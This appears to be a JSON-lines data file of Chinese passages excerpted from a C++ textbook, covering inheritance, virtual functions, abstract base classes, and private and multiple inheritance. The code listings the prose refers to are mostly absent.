    {"text": "假设有这样的代码： 要初始化olaf2，匹配的构造函数的原型如下： 类定义中没有这样的构造函数，但存在隐式复制构造函数： 形参是基类引用，因此它可以引用派生类。 这样，将olaf2初始化为olaf1时，将要使用该构造函数，它复制firstname、lastname和hasTable成员。"},
    {"text": "同样，也可以将派生对象赋给基类对象： 在这种情况下，程序将使用隐式重载赋值运算符： 基类引用指向的也是派生类对象，因此olaf1的基类部分被复制给winner。"},
    {"text": "公有继承是最常用的方式，它建立一种is-a关系，即派生类对象也是一个基类对象，可以对基类对象执行的任何操作，也可以对派生类对象执行。"},
    {"text": "也就是说，如果用户签出一张超出其存款余额的支票——但是超出的数额并不是很大，银行将支付这张支票，对超出的部分收取额外的费用，并追加罚款。"},
    {"text": "程序清单13.7 brass.h 对于程序清单13.7，需要说明的有下面几点： BrassPlus类在Brass类的基础上添加了3个私有数据成员和3个公有成员函数；"},
    {"text": "Brass类和BrassPlus类都声明了ViewAcct( )和Withdraw( )方法，但BrassPlus对象和Brass对象的这些方法的行为是不同的； Brass类在声明ViewAcct( )和Withdraw( )时使用了新关键字virtual。"},
    {"text": "如果方法是通过引用或指针而不是对象调用的，它将确定使用哪一种方法。 如果没有使用关键字virtual，程序将根据引用类型或指针类型选择方法； 如果使用了virtual，程序将根据引用或指针指向的对象的类型来选择方法。"},
    {"text": "如果ViewAcct( )是虚的，则行为如下： 这里两个引用的类型都是Brass，但b2_ref引用的是一个BrassPlus对象，所以使用的是BrassPlus::ViewAcct( )。"},
    {"text": "RatedPlayer类构造函数和BrassPlus构造函数都使用这种技术： 这几个构造函数都使用成员初始化列表语法，将基类信息传递给基类构造函数，然后使用构造函数体初始化BrassPlus类新增的数据项。"},
    {"text": "例如，BrassPlus版本的ViewAcct( )核心内容如下（忽略了格式方面）： 换句话说，BrassPlus::ViewAcct( )显示新增的BrassPlus数据成员，并调用基类方法Brass::ViewAcct( )来显示基类数据成员。"},
    {"text": "假如这样编写代码： 如果代码没有使用作用域解析运算符，编译器将认为ViewAcct( )是BrassPlus::ViewAcct( )，这将创建一个不会终止的递归函数——这可不好。"},
    {"text": "它可以使用Brass::Withdraw( )来访问balance成员，但如果取款金额超过了结余，Brass::Withdraw( )将发出一个错误消息。 这种实现使用Deposit( )方法进行放贷，然后在得到了足够的结余后调用Brass::Withdraw，从而避免了错误消息： 该方法使用基类的Balance( )函数来确定结余。"},
    {"text": "为避免代码重复，该程序将设置格式的代码放在辅助函数中： 函数setFormat( )设置定点表示法并返回以前的标记设置： 而函数restore( )重置格式和精度： 有关设置输出格式的更详细信息，请参阅第17章。"},
    {"text": "程序清单13.9 usebrass1.cpp 下面是程序清单13.9所示程序的输出，请注意为何Hogg受透支限制，而Pigg没有： 3．演示虚方法的行为 在程序清单13.9中，方法是通过对象（而不是指针或引用）调用的，没有使用虚方法特性。"},
    {"text": "如果指向的是BrassPlus对象，则调用BrassPlus::ViewAcct( )。 如果Brass::ViewAcct( )被声明为虚的，则在任何情况下都将调用Brass::ViewAcct( )。"},
    {"text": "4．为何需要虚析构函数 在程序清单13.10中，使用delete释放由new分配的对象的代码说明了为何基类应包含一个虚析构函数，虽然有时好像并不需要析构函数。"},
    {"text": "如果析构函数不是虚的，则将只调用对应于指针类型的析构函数。 对于程序清单13.10，这意味着只有Brass的析构函数被调用，即使指针指向的是一个BrassPlus对象。 如果析构函数是虚的，将调用相应对象类型的析构函数。 因此，如果指针指向的是BrassPlus对象，将调用BrassPlus的析构函数，然后自动调用基类的析构函数。"},
    {"text": "通常，C++不允许将一种类型的地址赋给另一种类型的指针，也不允许一种类型的引用指向另一种类型： 然而，正如您看到的，指向基类的引用或指针可以引用派生类对象，而不必进行显式类型转换。"},
    {"text": "例如，下面的初始化是允许的： 将派生类引用或指针转换为基类引用或指针被称为向上强制转换（upcasting），这使公有继承不需要进行显式类型转换。"},
    {"text": "所以，可以对Brass对象执行的任何操作，都适用于BrassPlus对象。 因此，为处理Brass引用而设计的函数可以对BrassPlus对象执行同样的操作，而不必担心会导致任何问题。"},
    {"text": "例如，假设从Employee类派生出Singer类，并添加了表示歌手音域的数据成员和用于报告音域的值的成员函数range( )，则将range( )方法应用于Employee对象是没有意义的。 但如果允许隐式向下强制转换，则可能无意间将指向Singer的指针设置为一个Employee对象的地址，并使用该指针来调用range( )方法（参见图13.4）。"},
    {"text": "请看下面的代码段，这里假定每个函数都调用虚方法ViewAcct( )： 图13.4 向上强制转换和向下强制转换 按值传递导致只将BrassPlus对象的Brass部分传递给函数fv( )。 但随引用和指针发生的隐式向上转换导致函数fr( )和fp( )分别为Brass对象和BrassPlus对象使用Brass::ViewAcct( )和BrassPlus::ViewAcct( )。"},
    {"text": "请看下面的代码： 正如前面介绍的，如果在基类中没有将ViewAcct( )声明为虚的，则bp->ViewAcct( )将根据指针类型（Brass *）调用Brass::ViewAcct( )。 指针类型在编译时已知，因此编译器在编译时，可以将ViewAcct( )关联到Brass::ViewAcct( )。"},
    {"text": "1．为什么有两种类型的联编以及为什么默认为静态联编 如果动态联编让您能够重新定义类方法，而静态联编在这方面很差，为何不摒弃静态联编呢？"},
    {"text": "为使程序能够在运行阶段进行决策，必须采取一些方法来跟踪基类指针或引用指向的对象类型，这增加了额外的处理开销（稍后将介绍一种动态联编方法）。"},
    {"text": "虚函数表中存储了为类对象进行声明的虚函数的地址。 例如，基类对象包含一个指针，该指针指向基类中所有虚函数的地址表。 派生类对象将包含一个指向独立地址表的指针。 如果派生类提供了虚函数的新定义，该虚函数表将保存新函数的地址； 如果派生类没有重新定义虚函数，该vtbl将保存函数原始版本的地址。 如果派生类定义了新的虚函数，则该函数的地址也将被添加到vtbl中（参见图13.5）。"},
    {"text": "如果使用类声明中定义的第一个虚函数，则程序将使用数组中的第一个函数地址，并执行具有该地址的函数。 如果使用类声明中的第三个虚函数，程序将使用地址为数组中第三个元素的函数。"},
    {"text": "在基类方法的声明中使用关键字virtual可使该方法在基类以及所有的派生类（包括从派生类派生出来的类）中是虚的。 如果使用指向对象的引用或指针来调用虚方法，程序将使用为对象类型定义的方法，而不使用为引用或指针类型定义的方法。"},
    {"text": "创建派生类对象时，将调用派生类的构造函数，而不是基类的构造函数，然后，派生类的构造函数将使用基类的一个构造函数，这种顺序不同于继承机制。"},
    {"text": "但如果析构函数是虚的，则上述代码将先调用~Singer析构函数释放由Singer组件指向的内存，然后，调用～Employee( )析构函数来释放由Employee组件指向的内存。"},
    {"text": "这意味着，即使基类不需要显式析构函数提供服务，也不应依赖于默认构造函数，而应提供虚析构函数，即使它不执行任何操作： 顺便说一句，给类定义一个虚析构函数并非错误，即使这个类不用做基类；"},
    {"text": "4．没有重新定义 如果派生类没有重新定义函数，将使用该函数的基类版本。 如果派生类位于派生链中，则将使用最新的虚函数版本，例外的情况是基类版本是隐藏的（稍后将介绍）。"},
    {"text": "如果在派生类中重新定义函数，将不是使用相同的函数特征标覆盖基类声明，而是隐藏同名的基类方法，不管参数特征标如何。 这引出了两条经验规则：第一，如果重新定义继承的方法，应确保与原来的原型完全相同，但如果返回类型是基类引用或指针，则可以修改为指向派生类的引用或指针（这种例外是新出现的）。"},
    {"text": "这种特性被称为返回类型协变（covariance of return type），因为允许返回类型随类类型的变化而变化： 注意，这种例外只适用于返回值，而不适用于参数。"},
    {"text": "注意，如果不需要修改，则新定义可只调用基类版本： 13.5 访问控制：protected 到目前为止，本书的类示例已经使用了关键字public和private来控制对类成员的访问。"},
    {"text": "还存在另一个访问类别，这种类别用关键字protected表示。 关键字protected与private相似，在类外只能用公有类成员来访问protected部分中的类成员。 private和protected之间的区别只有在基类派生的类中才会表现出来。 派生类的成员可以直接访问基类的保护成员，但不能直接访问基类的私有成员。"},
    {"text": "例如，可以这样编写BrassPlus::Withdraw( )的核心： 使用保护数据成员可以简化代码的编写工作，但存在设计缺陷。 例如，继续以BrassPlus为例，如果balance是受保护的，则可以按下面的方式编写代码： Brass类被设计成只能通过Deposit( )和Withdraw( )才能修改balance。 但对于BrassPlus对象，Reset( )方法将忽略Withdraw( )中的保护措施，实际上使balance成为公有变量，。"},
    {"text": "另外，还可以包括一些移动椭圆、返回椭圆面积、旋转椭圆以及缩放长半轴和短半轴的方法： 现在假设从Ellipse类派生出一个Circle类： 虽然圆是一种椭圆，但是这种派生是笨拙的。"},
    {"text": "在这种情况下，可以将原型声明为虚的： 这将使基类成为抽象的，但您仍可以在实现文件中提供方法的定义： 总之，在原型中使用=0指出类是一个抽象基类，在类中可以不定义该函数。"},
    {"text": "由于Circle和Ellipse对象的基类相同，因此可以用BaseEllipse指针数组同时管理这两种对象。 像Circle和Ellipse这样的类有时被称为具体（concrete）类，这表示可以创建这些类型的对象。"},
    {"text": "程序清单13.12 acctABC.cpp 保护方法FullName( )和AcctNum( )提供了对数据成员fullName和acctNum的只读访问，使得可以进一步定制每个派生类的ViewAcct( )。"},
    {"text": "前一个版本使用两个函数调用来设置输出格式，并使用一个函数调用来恢复格式： 这个版本定义了一个结构，用于存储两项格式设置； 并使用该结构来设置和恢复格式，因此只需两个函数调用： 因此代码更整洁。"},
    {"text": "例如，为使程序清单13.10能够使用新的实现，需要采取下面的步骤将usebrass2.cpp转换为usebrass3.cpp： 使用acctabc.cpp而不是brass.cpp来链接usebrass2.cpp。"},
    {"text": "将下面的代码： 替换为： 程序清单13.13是修改后的文件，并将其重命名为usebrass3.cpp。 程序清单13.13 usebrass3.cpp 该程序本身的行为与非抽象基类版本相同，因此如果输入与给程序清单13.10提供的输入相同，输出也将相同。"},
    {"text": "这种模型在基于组件的编程模式中很常见，在这种情况下，使用ABC使得组件设计人员能够制定“接口约定”，这样确保了从ABC派生的所有组件都至少支持ABC指定的功能。"},
    {"text": "13.7.1 第一种情况：派生类不使用new 假设基类使用了动态内存分配： 声明中包含了构造函数使用new时需要的特殊方法：析构函数、复制构造函数和重载赋值运算符。 现在，从baseDMA派生出lackDMA类，而后者不使用new，也未包含其他一些不常用的、需要特殊处理的设计特性： 是否需要为lackDMA类定义显式析构函数、复制构造函数和赋值运算符呢？"},
    {"text": "但复制类成员或继承的类组件时，则是使用该类的复制构造函数完成的。 所以，lacksDMA类的默认复制构造函数使用显式baseDMA复制构造函数来复制lacksDMA对象的baseDMA部分。 因此，默认复制构造函数对于新的lacksDMA成员来说是合适的，同时对于继承的baseDMA对象来说也是合适的。"},
    {"text": "Stock的默认复制构造函数将使用string的复制构造函数来复制对象的company成员； Stock的默认赋值运算符将使用string的赋值运算符给对象的company成员赋值； 而Stock的析构函数（默认或其他析构函数）将自动调用string的析构函数。"},
    {"text": "BaseDMA的复制构造函数遵循用于char数组的常规模式，即使用strlen( )来获悉存储C-风格字符串所需的空间、分配足够的内存（字符数加上存储空字符所需的1字节）并使用函数strcpy( )将原始字符串复制到目的地： hasDMA复制构造函数只能访问hasDMA的数据，因此它必须调用baseDMA复制构造函数来处理共享的baseDMA数据： 需要注意的一点是，成员初始化列表将一个hasDMA引用传递给baseDMA构造函数。"},
    {"text": "因为复制构造函数baseDMA有一个baseDMA引用参数，而基类引用可以指向派生类型。 因此，baseDMA复制构造函数将使用hasDMA参数的baseDMA部分来构造新对象的baseDMA部分。"},
    {"text": "然而，派生类的显式赋值运算符必须负责所有继承的baseDMA基类对象的赋值，可以通过显式调用基类赋值运算符来完成这项工作，如下所示： 下述语句看起来有点奇怪： 但通过使用函数表示法，而不是运算符表示法，可以使用作用域解析运算符。"},
    {"text": "13.7.3 使用动态内存分配和友元的继承示例 为演示这些有关继承和动态内存分配的概念，我们将刚才介绍过的baseDMA、lacksDMA和hasDMA类集成到一个示例中。"},
    {"text": "程序清单13.16 usedma.cpp 程序清单13.14～程序清单13.16组成的程序的输出如下： 13.8 类设计回顾 C++可用于解决各种类型的编程问题，但不能将类设计简化成带编号的例程。"},
    {"text": "1．默认构造函数 默认构造函数要么没有参数，要么所有的参数都有默认值。 如果没有定义任何构造函数，编译器将定义默认构造函数，让您能够创建对象。 例如，假设Star是一个类，则下述代码需要使用默认构造函数： 自动生成的默认构造函数的另一项功能是，调用基类的默认构造函数以及调用本身是对象的成员所属类的默认构造函数。 另外，如果派生类构造函数的成员初始化列表中没有显式调用基类构造函数，则编译器将使用基类的默认构造函数来构造派生类对象的基类部分。"},
    {"text": "2．复制构造函数 复制构造函数接受其所属类的对象作为参数。 例如，Star类的复制构造函数的原型如下： 在下述情况下，将使用复制构造函数： 将新对象初始化为一个同类对象；"},
    {"text": "如果希望能够将字符串赋给Star对象，则方法之一是显式定义下面的运算符： 另一种方法是使用转换函数（参见下一节中的“转换”小节）将字符串转换成Star对象，然后使用将Star赋给Star的赋值函数。"},
    {"text": "3．转换 使用一个参数就可以调用的构造函数定义了从参数类型到类类型的转换。 例如，下述Star类的构造函数原型： 将可转换的类型传递给以类为参数的函数时，将调用转换构造函数。"},
    {"text": "例如，在如下代码中： 第二条语句将调用Star::operator = （const Star *）函数，使用Star::star（const char *）生成一个Star对象，该对象将被用作上述赋值运算符函数的参数。"},
    {"text": "在带一个参数的构造函数原型中使用explicit将禁止进行隐式转换，但仍允许显式转换： 要将类对象转换为其他类型，应定义转换函数（参见第11章）。"},
    {"text": "转换函数可以是没有参数的类成员函数，也可以是返回类型被声明为目标类型的类成员函数。 即使没有声明返回类型，函数也应返回所需的转换值。"},
    {"text": "例如，假设已经为第11章的Vector类型定义了double转换，并编写了下面的代码： 编译器可以将ius转换成double并使用double加法，或将20.2转换成veotor（使用构造函数之一）并使用vector加法。"},
    {"text": "5．返回对象和返回引用 有些类方法返回对象。 您可能注意到了，有些成员函数直接返回对象，而另一些则返回引用。 有时方法必须返回对象，但如果可以不返回对象，则应返回引用。"},
    {"text": "首先，在编码方面，直接返回对象与返回引用之间唯一的区别在于函数原型和函数头： 其次，应返回引用而不是返回对象的的原因在于，返回对象涉及生成返回对象的临时副本，这是调用函数的程序可以使用的副本。"},
    {"text": "直接返回对象与按值传递对象相似：它们都生成临时副本。 同样，返回引用与按引用传递对象相似：调用和被调用的函数对同一个对象进行操作。"},
    {"text": "例如，下面的方法使用构造函数来创建一个新对象，然后返回该对象的副本： 如果函数返回的是通过引用或指针传递给它的对象，则应按引用返回对象。 例如，下面的代码按引用返回调用函数的对象或作为参数传递给函数的对象： 6．使用const 使用const时应特别注意。"},
    {"text": "但可以使用const来确保引用或指针返回的值不能用于修改对象中的数据： 该方法返回对this或s的引用。 因为this和s都被声明为const，所以函数不能对它们进行修改，这意味着返回的引用也必须被声明为const。 注意，如果函数将参数声明为指向const的引用或指针，则不能将该参数传递给另一个函数，除非后者也确保了参数不会被修改。"},
    {"text": "然而，派生类构造函数通常使用成员初始化列表语法来调用基类构造函数，以创建派生对象的基类部分。 如果派生类构造函数没有使用成员初始化列表语法显式调用基类构造函数，将使用基类的默认构造函数。"},
    {"text": "然而，如果对象属于派生类，编译器将使用基类赋值运算符来处理派生对象中基类部分的赋值。 如果显式地为基类提供了赋值运算符，将使用该运算符。 与此相似，如果成员是另一个类的对象，则对于该成员，将使用其所属类的赋值运算符。 正如多次提到的，如果类构造函数使用new来初始化指针，则需要提供一个显式赋值运算符。 因为对于派生对象的基类部分，C++将使用基类的赋值运算符，所以不需要为派生类重新定义赋值运算符，除非它添加了需要特别留意的数据成员。 例如，baseDMA类显式地定义了赋值，但派生类lackDMA使用为它生成的隐式赋值运算符。 然而，如果派生类使用了new，则必须提供显式赋值运算符。 必须给类的每个成员提供赋值运算符，而不仅仅是新成员。"},
    {"text": "然而，派生类引用不能自动引用基类对象，因此上述代码不能运行，除非有下面的转换构造函数： 与BrassPlus类的情况相似，转换构造函数可以接受一个类型为基类的参数和其他参数，条件是其他参数有默认值： 如果有转换构造函数，程序将通过它根据gp来创建一个临时BrassPlus对象，然后将它用作赋值运算符的参数。"},
    {"text": "如果派生类包含了这样的构造函数，即对将基类对象转换为派生类对象进行了定义，则可以将基类对象赋给派生对象。 如果派生类定义了用于将基类对象赋给派生对象的赋值运算符，则也可以这样做。"},
    {"text": "5．虚方法 设计基类时，必须确定是否将类方法声明为虚的。 如果希望派生类能够重新定义方法，则应在基类中将方法定义为虚的，这样可以启用晚期联编（动态联编）；"},
    {"text": "现在，假设将派生类参数传递给上述两个函数： show( )函数调用使rba参数成为BrassPlus对象buzz的引用，因此，rba.ViewAcct( )被解释为BrassPlus版本，正如应该的那样。"},
    {"text": "但在inadequate( )函数中（它是按值传递对象的），ba是Brass（const Brass &）构造函数创建的一个Brass对象（自动向上强制转换使得构造函数参数可以引用一个BrassPlus对象）。"},
    {"text": "这样，当通过指向对象的基类指针或引用来删除派生对象时，程序将首先调用派生类的析构函数，然后调用基类的析构函数，而不仅仅是调用基类的析构函数。"},
    {"text": "为此，可以通过强制类型转换将，派生类引用或指针转换为基类引用或指针，然后使用转换后的指针或引用来调用基类的友元函数： 也可以使用第15章将讨论的运算符dynamic_cast<>来进行强制类型转换： 鉴于第15章将讨论的原因，这是更佳的强制类型转换方式。"},
    {"text": "派生类对象自动使用继承而来的基类方法，如果派生类没有重新定义该方法。 派生类的构造函数自动调用基类的构造函数。 派生类的构造函数自动调用基类的默认构造函数，如果没有在成员初始化列表中指定其他构造函数。 派生类构造函数显式地调用成员初始化列表中指定的基类构造函数。"},
    {"text": "表13.1 成员函数属性 函数 能否继承 成员还是友元 默认能否生成 能否为虚函数 是否可以有返回类型 构造函数 否 成员 能 否 否 析构函数 否 成员 能 能 否 = 否 成员 能 能 能 & 能 任意 能 能 能 转换函数 能 成员 否 能 否 ( ) 能 成员 否 能 能 [] 能 成员 否 能 能 -> 能 成员 否 能 能 op= 能 任意 否 能 能 new 能 静态成员 否 否 void* delete 能 静态成员 否 否 void 其他运算符 能 任意 否 能 能 其他成员 能 成员 否 能 能 友元 否 友元 否 否 能 13.9 总结 继承通过使用已有的类（基类）定义新的类（派生类），使得能够根据需要修改编程代码。"},
    {"text": "程序创建派生类对象时，将首先调用基类的构造函数，然后调用派生类的构造函数； 程序删除对象时，将首先调用派生类的析构函数，然后调用基类的析构函数。"},
    {"text": "3．假设baseDMA ::operator=( )函数的返回类型为void，而不是baseDMA &，这将有什么后果？ 如果返回类型为baseDMA，而不是baseDMA &，又将有什么后果？"},
    {"text": "8．可以将派生类对象的地址赋给基类指针吗？ 可以将基类对象的地址赋给派生类指针吗？ 9．可以将派生类对象赋给基类对象吗？ 可以将基类对象赋给派生类对象吗？"},
    {"text": "为描述它，BOP Portmaster设置了一个Port类，其声明如下： show( )方法按下面的格式显示信息： operator<<( )函数按下面的格式显示信息（末尾没有换行符）： PortMaster完成了Port类的方法定义后派生了VintagePort类，然后被解职——因为不小心将一瓶45度Cockburn泼到了正在准备烤肉调料的人身上，VintagePort类如下所示： 您被指定负责完成VintagePort。"},
    {"text": "例如，可以定义一个通用的栈模板，然后使用该模板创建一个用于表示int值栈的类和一个用于表示double值栈的类，甚至可以创建一个这样的类，即用于表示由栈组成的栈。"},
    {"text": "例如，可以使用一个String类（参见第12章）或标准C++ string类的对象来表示姓名。 较简单的选择是使用string类，因为C++库提供了这个类的所有实现代码，且其实现更完美。 要使用String类，您必须在项目中包含实现文件string1.cpp。"},
    {"text": "因此，使用valarray类来声明一个对象时，需要在标识符valarray后面加上一对尖括号，并在其中包含所需的数据类型： 第4章介绍vector和array类时，您见过这种语法，它非常简单。"},
    {"text": "下面是几个使用其构造函数的例子： 从中可知，可以创建长度为零的空数组、指定长度的空数组、所有元素度被初始化为指定值的数组、用常规数组中的值进行初始化的数组。"},
    {"text": "您可能想以公有的方式从这两个类派生出Student类，这将是多重公有继承，C++允许这样做，但在这里并不合适，因为学生与这些类之间的关系不是is-a模型。"},
    {"text": "这意味着Student类的成员函数可以使用string和valarray<double>类的公有接口来访问和修改name和scores对象，但在类的外面不能这样做，而只能通过Student类的公有接口访问name和score（请参见图14）。"},
    {"text": "例如，可能希望使用string接口中的operator<( )方法将Student对象按姓名进行排序，为此可以定义Student::Operator<( )成员函数，它在内部使用函数string::Operator<( )。"},
    {"text": "14.1.3 Student类示例 现在需要提供Student类的定义，当然它应包含构造函数以及一些用作Student类接口的方法。 程序清单14.1是Student类的定义，其中所有构造函数都被定义为内联的；"},
    {"text": "程序清单14.1 studentc.h 为简化表示，Student类的定义中包含下述typedef： 这样，在以后的代码中便可以使用表示ArrayDb，而不是std::valarray<double>，因此类方法和友元函数可以使用ArrayDb类型。"},
    {"text": "在上述第二个构造函数中，第一个参数表示数组的元素个数，而不是数组中的值，因此将一个构造函数用作int到Student的转换函数是没有意义的，所以使用explicit关闭隐式转换。"},
    {"text": "C++和约束 C++包含让程序员能够限制程序结构的特性——使用explicit防止单参数构造函数的隐式转换，使用const限制方法修改数据，等等。"},
    {"text": "1．初始化被包含的对象 构造函数全都使用您熟悉的成员初始化列表语法来初始化name和score成员对象。 在前面的一些例子中，构造函数用这种语法来初始化内置类型的成员： 上述代码在成员初始化列表中使用的是数据成员的名称（qsize）。 另外，前面介绍的示例中的构造函数还使用成员初始化列表初始化派生对象的基类部分： 对于继承的对象，构造函数在成员初始化列表中使用类名来调用特定的基类构造函数。 对于成员对象，构造函数则使用成员名。 例如，请看程序清单14.3的最后一个构造函数： 因为该构造函数初始化的是成员对象，而不是继承的对象，所以在初始化列表中使用的是成员名，而不是类名。 初始化列表中的每一项都调用与之匹配的构造函数，即name(str)调用构造函数string(const char *)，scores(pd, n)调用构造函数ArrayDb(const double *, int)。"},
    {"text": "对于这个例子来说，初始化顺序并不重要，但如果代码使用一个成员的值作为另一个成员的初始化表达式的一部分时，初始化顺序就非常重要了。"},
    {"text": "例如，下面的代码说明了如何定义一个返回学生平均分数的函数： 上述代码定义了可由Student对象调用的方法，该方法内部使用了valarray的方法size( )和sum( )。"},
    {"text": "同样，可以定义一个使用string版本的<<运算符的友元函数： 因为stu.name是一个string对象，所以它将调用函数operatot<<(ostream &, const string &)，该函数位于string类中。 注意，operator<<(ostream & os, const Student & stu)必须是Student类的友元函数，这样才能访问name成员。"},
    {"text": "因此，Student类定义了一个私有辅助方法来处理这种任务： 通过使用这样的辅助方法，可以将零乱的细节放在一个地方，使得友元函数的编码更为整洁： 辅助函数也可用作其他用户级输出函数的构建块——如果您选择提供这样的函数的话。"},
    {"text": "程序清单14.3 use_stuc.cpp 下面是程序清单14.1～程序清单14.3组成的程序的运行情况： 14.2 私有继承 C++还有另一种实现has-a关系的途径——私有继承。"},
    {"text": "14.2.1 Student类示例（新版本） 要进行私有继承，请使用关键字private而不是public来定义类（实际上，private是默认值，因此省略访问限定符也将导致私有继承）。"},
    {"text": "1．初始化基类组件 隐式地继承组件而不是成员对象将影响代码的编写，因为再也不能使用name和scores来描述对象了，而必须使用用于公有继承的技术。"},
    {"text": "例如，对于构造函数，包含将使这样的构造函数： 对于继承类，新版本的构造函数将使用成员初始化列表语法，它使用类名而不是成员名来标识构造函数： 在这里，ArrayDb是std::valarray<double>的别名。"},
    {"text": "包含使用对象来调用方法： 图14.2 对象中的对象：私有继承 然而，私有继承使得能够使用类名和作用域解析运算符来调用基类的方法： 总之，使用包含时将使用对象名来调用方法，而使用私有继承时将使用类名和作用域解析运算符来调用方法。"},
    {"text": "为避免调用构造函数创建新的对象，可使用强制类型转换来创建一个引用： 上述方法返回一个引用，该引用指向用于调用该方法的Student对象中的继承而来的string对象。"},
    {"text": "例如，对于下面的友元函数定义： 如果plato是一个Student对象，则下面的语句将调用上述函数，stu将是指向plato的引用，而os将是指向cout的引用： 下面的代码： 显式地将stu转换为string对象引用，进而调用函数operator<<(ostream &, const String &)。"},
    {"text": "原因之一是，如果不使用类型转换，下述代码将与友元函数原型匹配，从而导致递归调用： 另一个原因是，由于这个类使用的是多重继承，编译器将无法确定应转换成哪个基类，如果两个基类都提供了函数operator<<( )。"},
    {"text": "例如，假设类包含保护成员（可以是数据成员，也可以是成员函数），则这样的成员在派生类中是可用的，但在继承层次结构外是不可用的。 如果使用组合将这样的类包含在另一个类中，则后者将不是派生类，而是位于继承层次结构之外，因此不能访问保护成员。 但通过继承得到的将是派生类，因此它能够访问保护成员。"},
    {"text": "使用私有继承时，第三代类将不能使用基类的接口，这是因为基类的公有方法在派生类中将变成私有方法； 使用保护继承时，基类的公有方法在第二代中将变成受保护的，因此第三代派生类可以使用它们。"},
    {"text": "表14.1 各种继承方式 特征 公有继承 保护继承 私有继承 公有成员变成 派生类的公有成员 派生类的保护成员 派生类的私有成员 保护成员变成 派生类的保护成员 派生类的保护成员 派生类的私有成员 私有成员变成 只能通过基类接口访问 只能通过基类接口访问 只能通过基类接口访问 能否隐式向上转换 是 是（但只能在派生类中） 否 14.2.4 使用using重新定义访问权限 使用保护派生或私有派生时，基类的公有成员将成为保护成员或私有成员。"},
    {"text": "例如，假设希望Student类能够使用valarray类的sum( )方法，可以在Student类的声明中声明一个sum( )方法，然后像下面这样定义该方法： 这样Student对象便能够调用Student::sum( )，后者进而将valarray<double>::sum( )方法应用于被包含的valarray对象（如果ArrayDb typedef在作用域中，也可以使用ArrayDb而不是std::valarray<double>）。"},
    {"text": "另一种方法是，将函数调用包装在另一个函数调用中，即使用一个using声明（就像名称空间那样）来指出派生类可以使用特定的基类成员，即使采用的是私有派生。"},
    {"text": "例如，假设希望通过Student类能够使用valarray的方法min( )和max( )，可以在studenti.h的公有部分加入如下using声明： 上述using声明使得valarray<double>::min( )和valarray<double>::max( )可用，就像它们是Student的公有方法一样： 注意，using声明只使用成员名——没有圆括号、函数特征标和返回类型。 例如，为使Student类可以使用valarray的operator 方法，只需在Student类声明的公有部分包含下面的using声明： 这将使两个版本（const和非const）都可用。"},
    {"text": "有一种老式方式可用于在私有派生类中重新声明基类方法，即将方法名放在派生类的公有部分，如下所示： 这看起来像不包含关键字using的using声明。"},
    {"text": "首先声明Worker、Waiter和Singer类，如程序清单14.7所示。 图14.3 祖先相同的MI 程序清单14.7 Worker0.h 程序清单14.7的类声明中包含一些表示声音类型的内部常量。"},
    {"text": "一个枚举用符号常量alto、contralto等表示声音类型，静态数组pv存储了指向相应C-风格字符串的指针，程序清单14.8初始化了该数组，并提供了方法的定义。"},
    {"text": "程序清单14.8 worker0.cpp 程序清单14.9是一个简短的程序，它使用一个多态指针数组对这些类进行了测试。 程序清单14.9 worktest.cpp 下面是程序清单14.7～程序清单14.9组成的程序的输出： 这种设计看起来是可行的：使用Waiter指针来调用Waiter::Show( )和Waiter::Set( )；"},
    {"text": "14.3.1 有多少Worker 假设首先从Singer和Waiter公有派生出SingingWaiter： 因为Singer和Waiter都继承了一个Worker组件，因此SingingWaiter将包含两个Worker组件（参见图14.4）。"},
    {"text": "但ed中包含两个Worker对象，有两个地址可供选择，所以应使用类型转换来指定对象： 图14.4 继承两个基类对象 这将使得使用基类指针来引用不同的对象（多态性）复杂化。"},
    {"text": "例如，通过在类声明中使用关键字virtual，可以使Worker被用作Singer和Waiter的虚基类（virtual和public的次序无关紧要）： 然后，可以将SingingWaiter类定义为： 现在，SingingWaiter对象将只包含Worker对象的一个副本。"},
    {"text": "如果不希望默认构造函数来构造虚基类对象，则需要显式地调用所需的基类构造函数。 因此，构造函数应该是这样： 上述代码将显式地调用构造函数worker（const Worker &）。"},
    {"text": "假设没有在SingingWaiter类中重新定义Show( )方法，并试图使用SingingWaiter对象调用继承的Show( )方法： 对于单继承，如果没有重新定义Show( )，则将使用最近祖先中的定义。"},
    {"text": "例如，如果希望SingingWaiter对象使用Singer版本的Show( )，则可以这样做： 对于单继承来说，让派生方法调用基类的方法是可以的。 例如，假设HeadWaiter类是从Waiter类派生而来的，则可以使用下面的定义序列，其中每个派生类使用其基类显示信息，并添加自己的信息： 然而，这种递增的方式对SingingWaiter示例无效。"},
    {"text": "下面的方法将无效，因为它忽略了Waiter组件： 可以通过同时调用Waiter版本的Show( )来补救： 然而，这将显示姓名和ID两次，因为Singer::Show( )和Waiter::Show( )都调用了Worker::Show( )。"},
    {"text": "一种办法是使用模块化方式，而不是递增方式，即提供一个只显示Worker组件的方法和一个只显示Waiter组件或Singer组件（而不是Waiter和Worker组件）的方法。"},
    {"text": "然而，使Data( )方法成为私有的将阻止Waiter中的代码使用Worker::Data( )，这正是保护访问类的用武之地。 如果Data( )方法是保护的，则只能在继承层次结构中的类中使用它，在其他地方则不能使用。 另一种办法是将所有的数据组件都设置为保护的，而不是私有的，不过使用保护方法（而不是保护数据）将可以更严格地控制对数据的访问。"},
    {"text": "另外，该程序还在下面的检测中使用了C-风格字符串库函数strchr( )： 该函数返回参数choice指定的字符在字符串“wstq”中第一次出现的地址，如果没有这样的字符，则返回NULL指针。"},
    {"text": "请将程序清单14.12与workermi.cpp一起编译。 程序清单14.12 workmi.cpp 下面是程序清单14.10～程序清单14.12组成的程序的运行情况： 下面介绍其他一些有关MI的问题。"},
    {"text": "例如，假设类B被用作类C和D的虚基类，同时被用作类X和Y的非虚基类，而类M是从C、D、X和Y派生而来的。 在这种情况下，类M从虚派生祖先（即类C和D）那里共继承了一个B类子对象，并从每一个非虚派生祖先（即类X和Y）分别继承了一个B类子对象。"},
    {"text": "当类通过多条虚途径和非虚途径继承某个特定的基类时，该类将包含一个表示所有的虚途径的基类子对象和分别表示各条非虚途径的多个基类子对象。"},
    {"text": "那么，一个成员名如何优先于另一个成员名呢？ 派生类中的名称优先于直接或间接祖先类中的相同名称。 例如，在下面的定义中： 类C中的q( )定义优先于类B中的q( )定义，因为类C是从类B派生而来的。"},
    {"text": "即在从GunSlinger和PokerPlayer派生而来的BadDude类中，将分别使用Gunslinger::draw( )和PokerPlayer::draw( )来区分从这两个类那里继承的draw( )方法。"},
    {"text": "当派生类使用关键字virtual来指示派生时，基类就成为虚基类： 主要变化（同时也是使用虚基类的原因）是，从虚基类的一个或多个实例派生而来的类将只继承了一个基类对象。"},
